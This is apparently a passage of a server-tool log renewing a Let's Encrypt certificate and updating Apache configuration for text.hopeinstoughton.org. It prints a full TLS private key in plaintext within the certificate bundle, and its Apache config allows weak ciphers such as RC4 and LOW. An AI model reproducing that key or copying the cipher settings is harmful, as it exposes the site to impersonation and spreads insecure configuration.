Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-08 06:00:46: Establishing a connection
2025-10-08 06:00:47: Establishing a connection
2025-10-08 06:00:47:
PUT: /tmp/pkp994370
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:00:47:
chmod 755 /tmp/pkp994370; /tmp/pkp994370; rm /tmp/pkp994370
2025-10-08 06:00:47:
1
2025-10-08 06:00:47: Establishing a connection
2025-10-08 06:00:47:
PUT: /tmp/pkp956058
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY
cat > JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw
2025-10-08 06:00:48:
chmod 755 /tmp/pkp956058; /tmp/pkp956058; rm /tmp/pkp956058
2025-10-08 06:00:48:
2025-10-08 06:00:58: Establishing a connection
2025-10-08 06:00:58:
PUT: /tmp/pkp792245
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY
rm JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw
2025-10-08 06:00:58:
chmod 755 /tmp/pkp792245; /tmp/pkp792245; rm /tmp/pkp792245
2025-10-08 06:00:58:
2025-10-08 06:00:58: Establishing a connection
2025-10-08 06:00:58:
PUT: /tmp/pkp884730
#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt
cat > $temp_file <<'endmsg'
77:cd:39:d4:ba:91:90:3c:3b:49:29:5c:d2:b3:f7:ab
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBaRWrsiJPgfWAaE1vuOCJy+7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjI3WhcNMjYwMTA2MDUwMjI2WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXit1wZrQ1SJbTxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOh
nD5WQU6Y30jmpwwOUC4RPm/5/SaPx+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fT
SpGlo5ZW1wM6CbGF/xcIRcKj8xzljreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+
3cWNLxPUp2uJuXQXXhcUqAE/cAvJRNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJ
dQ7xLLD41d22ahtr9YislUWRAwJIWd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8
IEuQDyStRhxvTyogPXAKHKKUkoREEPSGgoeDAgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFPFahgyujbyiJzeJNdiDnjBmwiv8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVu
Y3Iub3JnLzYwLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmcJolIoAAAQDAEgwRgIhANJoSmiU
tjPsihudue9DCkesk06n3jhqRBvPy7gUICmDAiEAhpzlvI0aXX4yYcRx4KI8KUJO
95Z7GM/L9SOHBtBuScEAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnCaJSBAAAEAwBHMEUCIGMVAdl5sHbSJFNnNAqPJh5G8j91B+0zZKnSt6oC
r9JhAiEA8lCkoJTflvKvcUlQE+yFapLdcoc96lkw/z2jraXQMCwwDQYJKoZIhvcN
AQELBQADggEBAC/cRV9J4/Z+nkv8p7+MEVz33z80b/Ps2Ea24B7EV8oyTOGhWsYk
9o6MjVxs0HO+J61TzDl1roMrs2Hgh+suPMjp4XTVIq8+/fBWZMmxrO4Ykz+sEg/p
nn+TzePbX8PeUGmfVTsQCAlROjLrgcSjyoQ6m3HGj2YvM0SSUoMvJ3snaUQ6RnX/
grAbSzLs0pNuGf32zouRcIPFH3sticfcSkIJG4WAD0+FKKibdMYt/s+mhVuBlKpF
anKRJhN4WzDglb28g7mavXpc2QBmul4GOSou3YuD5l6ImvOoLx04JKZ/pbEMOoM9
20WfEpzflFPgytZibXELc3hxjXgygp6AmfA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvXit1wZrQ1SJb
TxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOhnD5WQU6Y30jmpwwOUC4RPm/5/SaP
x+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fTSpGlo5ZW1wM6CbGF/xcIRcKj8xzl
jreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+3cWNLxPUp2uJuXQXXhcUqAE/cAvJ
RNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJdQ7xLLD41d22ahtr9YislUWRAwJI
Wd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8IEuQDyStRhxvTyogPXAKHKKUkoRE
EPSGgoeDAgMBAAECggEASnl7i27FCJr7FDvnda39bKEizgk6pnFKgcMKFww4A6WF
uVNh/OgVsRva/SEWHJ4kiI+UgM47T7cqgTUs7HsAO1WCBVv1E7veLS9gGyMf1Tx5
L0VZummYoPdwCUEWpbcoJPfIGENH/chpJTQOytJamGwSCe+2DHuvb7XCYOJfCQP5
go7sDABmWpV7a3jIV+AShjXx77FvStfMnenHxWRhh8Pnbsv2VPrQoYAujPT169x4
7J6JFb9EghwExo5dpW+LN5Ki8T3QigsVM04Rq6ivo/MyKEDRmAFLw8l13hyAsCUk
0z3H2OHk16TnC0n1GZSENrmnVrGkvt2otQ8auNdkAQKBgQDfa0oOjlxqo3kCqIEB
9Bg6scv4BXcoexH4TaDjrD9cO0jQqcgzaJSEbsN0Wqprn3NugKAVl8TOQPYD3SIz
OGQw7EFX8BnsBFQtHyogxh6oqMKPCK5WpBNAf7Wrw9p++pjSnsxzY29e/5wIKOXy
vcWLKFOzh6hxYu1aZkvu7Aj7wQKBgQDI8QZqvIOKfpxUttFjLTWyBG9jXgrQHkvC
MXttEUdSGfg6cU1WqG1UXdAcC2rxBJsfvARLE3ErjpSnWE5y5q+Ydd0BriA8aVRB
3B0Uz5MqKPdE6PrrXd0QRHSp4RIOeUY5b11ZVPo8Kxuhs/m618ldhaf4QcOhsyGs
FeqNSyGkQwKBgQCHRI8m9vxvOCBpAppxE1ekGcezl6OIZ9L+cgmqLryB3Ab/BvyG
W5goAmPmS4qI9JZP3iKOUEBA3EXXGwi82DSZBkGdu2oGYqyQUSERjMI9PUfmj8v1
+wsI7wmQQFlGrfTe+HQynI5uhvXyXsiySkGTOkxLEyRh2hJ4vBzXQCNEQQKBgGAt
PO0JncxEHX9OoZneoby68rWU5YgHeCtSk8j4ZDKfy3ftkx7PLsUawekqbd0+XyEp
VMS6YYh/jhcq5SGJ2LIYd9e+CB/iKjn7qM+1KrMbOH77JF5TZuPKYCyPVZ0n3rzO
2NdRHRR/bZJQGk+byP3CY0sn7wMOQiejtcg7FbcRAoGALcDzSl8gIV5k3Sc5QfH1
9VYCgDMg1jOWquU1b7pVI3KQdv/zCmaLjcGqKVARGHTvDElbewn4UGlJFmxENuDO
y1Z+wkiX2MkcuF5MDeFqgN17LUs1uZhGhU7bFBKpAaoj1vp8+2FhiSURfC5F25f3
eCD06+Sv48ayg/MwX8L0i9k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-08 06:00:58:
chmod 755 /tmp/pkp884730; /tmp/pkp884730; rm /tmp/pkp884730
2025-10-08 06:00:58:
dir=/etc/ssl/certs
2025-10-08 06:00:58:
PUT: /tmp/pkp436546
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-08 06:00:58:
chmod 755 /tmp/pkp436546; /tmp/pkp436546; rm /tmp/pkp436546
2025-10-08 06:00:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:00:58:
PUT: /tmp/pkp211428
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi
2025-10-08 06:00:58:
chmod 755 /tmp/pkp211428; /tmp/pkp211428; rm /tmp/pkp211428
2025-10-08 06:00:58:
2025-10-08 06:00:58:
PUT: /tmp/pkp546159
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-08 06:00:59:
chmod 755 /tmp/pkp546159; /tmp/pkp546159; rm /tmp/pkp546159
2025-10-08 06:00:59:
.
2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59:
PUT: /tmp/pkp709293
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-08 06:00:59:
chmod 755 /tmp/pkp709293; /tmp/pkp709293; rm /tmp/pkp709293
2025-10-08 06:00:59:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-08 06:00:59:
PUT: /tmp/pkp319978
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:59:
chmod 755 /tmp/pkp319978; /tmp/pkp319978; rm /tmp/pkp319978
2025-10-08 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 1461
<VirtualHost *:80>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName text.hopeinstoughton.org
ServerAlias sms.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
DocumentRoot /var/www/hopeinstoughton_text
<Directory /var/www/hopeinstoughton_text>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/text_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/text_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:00:59:
PUT: /tmp/pkp835443
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:59:
chmod 755 /tmp/pkp835443; /tmp/pkp835443; rm /tmp/pkp835443
2025-10-08 06:00:59:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt 5406
77:cd:39:d4:ba:91:90:3c:3b:49:29:5c:d2:b3:f7:ab
-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBaRWrsiJPgfWAaE1vuOCJy+7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjI3WhcNMjYwMTA2MDUwMjI2WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXit1wZrQ1SJbTxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOh
nD5WQU6Y30jmpwwOUC4RPm/5/SaPx+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fT
SpGlo5ZW1wM6CbGF/xcIRcKj8xzljreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+
3cWNLxPUp2uJuXQXXhcUqAE/cAvJRNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJ
dQ7xLLD41d22ahtr9YislUWRAwJIWd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8
IEuQDyStRhxvTyogPXAKHKKUkoREEPSGgoeDAgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFPFahgyujbyiJzeJNdiDnjBmwiv8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVu
Y3Iub3JnLzYwLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmcJolIoAAAQDAEgwRgIhANJoSmiU
tjPsihudue9DCkesk06n3jhqRBvPy7gUICmDAiEAhpzlvI0aXX4yYcRx4KI8KUJO
